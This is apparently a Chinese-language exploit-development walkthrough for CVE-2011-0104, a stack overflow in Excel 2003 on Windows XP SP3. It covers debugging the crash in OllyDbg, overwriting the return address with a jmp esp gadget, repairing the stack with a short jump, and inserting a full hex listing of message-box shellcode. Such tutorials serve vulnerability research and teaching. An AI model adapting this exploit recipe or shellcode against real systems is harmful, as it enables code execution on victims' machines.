漏洞分析丨cve20110104
作者丨黑蛋
目標(biāo)程序
調(diào)試工具
16進(jìn)制編輯器
XP SP3
office 2003
ollydbg
010Editor
三、漏洞驗(yàn)證
首先我們配置環(huán)境,并下載poc:

使用ollydbg附加office excel 2003:


打開poc

可以看到發(fā)生了訪問違規(guī)異常,像地址0x51453844中寫入時(shí)發(fā)生異常,證明漏洞是存在的。
四、漏洞復(fù)現(xiàn)
繼續(xù)上述操作,到發(fā)生異常的時(shí)候,回到堆棧,然后轉(zhuǎn)到EBP附近:

可以看到給EAX賦值EBP+2C的值,再向EAX中的地址寫入時(shí)發(fā)生了異常。
接下來記下300CE361這個(gè)發(fā)生異常的地址,下斷點(diǎn),再自己隨意創(chuàng)建一個(gè)文件:123.xlb,然后繼續(xù)打開excel并用ollydbg附加,我們看看異常時(shí)候堆棧的正常情況是咋樣的:

可以看到EBP這里是不一樣的,然后我們?cè)诙褩V袑?duì)EBP+4的位置按回車:

可以看到這里就是關(guān)鍵函數(shù),我們下斷點(diǎn)(300CFACF),然后重新運(yùn)行,打開poc:

可以看到斷點(diǎn)斷在了關(guān)鍵函數(shù),
接下來我們順帶在0013AA90(此時(shí)EBP+4)處下內(nèi)存寫入斷點(diǎn),然后跑起來,第一次斷在了一個(gè)拷貝代碼處:

但是查看堆棧,這里并不是0013AA8C處,我們繼續(xù)運(yùn)行,同樣停留在這個(gè)地方,而此時(shí)的堆棧已經(jīng)在0013AA90附近:

我們?cè)跀帱c(diǎn)處上方shr ecx,2處下斷點(diǎn),然后重新運(yùn)行,按照前面經(jīng)驗(yàn),我們需要斷在第二次,然后觀察:

可以看到拷貝數(shù)據(jù)是ESI指向的一坨,然后拷貝起始地址在0013AA3B,拷貝長(zhǎng)度是300。我們記下這一坨,在poc中查找:

然后我們鎖定堆棧,再走完拷貝代碼,可以看到返回地址被修改,同時(shí)這塊被篡改的數(shù)值是30424232,記錄這個(gè)數(shù)據(jù)可以待會(huì)構(gòu)造payload:

然后我們ctrl+f查找jmp esp:

接下來用010Editor打開poc,找找前面那坨拷貝數(shù)據(jù):

接下來我們初步構(gòu)造一下,把返回地址那里改成jmp esp地址(30018447),然后后面跟上我們的祖?zhèn)鲝棿皊hellcode,其他地方改成90909090:
彈窗shellcode:
FC 68 6A 0A 38 1E 68 63 89 D1 4F 68 32 74 91 0C
8B F4 8D 7E F4 33 DB B7 04 2B E3 66 BB 33 32 53
68 75 73 65 72 54 33 D2 64 8B 5A 30 8B 4B 0C 8B
49 1C 8B 09 8B 69 08 AD 3D 6A 0A 38 1E 75 05 95
FF 57 F8 95 60 8B 45 3C 8B 4C 05 78 03 CD 8B 59
20 03 DD 33 FF 47 8B 34 BB 03 F5 99 0F BE 06 3A
C4 74 08 C1 CA 07 03 D0 46 EB F1 3B 54 24 1C 75
E4 8B 59 24 03 DD 66 8B 3C 7B 8B 59 1C 03 DD 03
2C BB 95 5F AB 57 61 3D 6A 0A 38 1E 75 A9 33 DB
53 68 66 66 66 66 68 66 66 66 66 8B C4 53 50 50
53 FF 57 FC 53 FF 57 F8
然后在shellcode結(jié)尾加4個(gè)90隔開:

接下來我們繼續(xù)用excel打開改造后的xlb:

可以看到位置沒有出錯(cuò),我們執(zhí)行到返回,發(fā)現(xiàn)并沒有執(zhí)行到跳板指令那里,我們繼續(xù)執(zhí)行到返回,然后再繼續(xù)執(zhí)行到返回,結(jié)果出現(xiàn)異常:

可以看到這里出現(xiàn)異常,所以我們需要修復(fù)堆棧,在EBP+2C的地址放一個(gè)可以寫入的地址(0013AA7C),然后前面都是90909090,再加一個(gè)短跳跳到EBP+2C的位置,然后在EBP+2C+4的位置開始放入shellcode:
短跳(EB 12):

開始構(gòu)造新的payload:

然后繼續(xù)測(cè)試,可以看到這里沒有發(fā)生異常:
到了jmp esp:
這里出了岔子,跳到了shellcode+4的位置,導(dǎo)致代碼識(shí)別出錯(cuò),我們需要把shellcode再往后挪一下:
這次成功了:

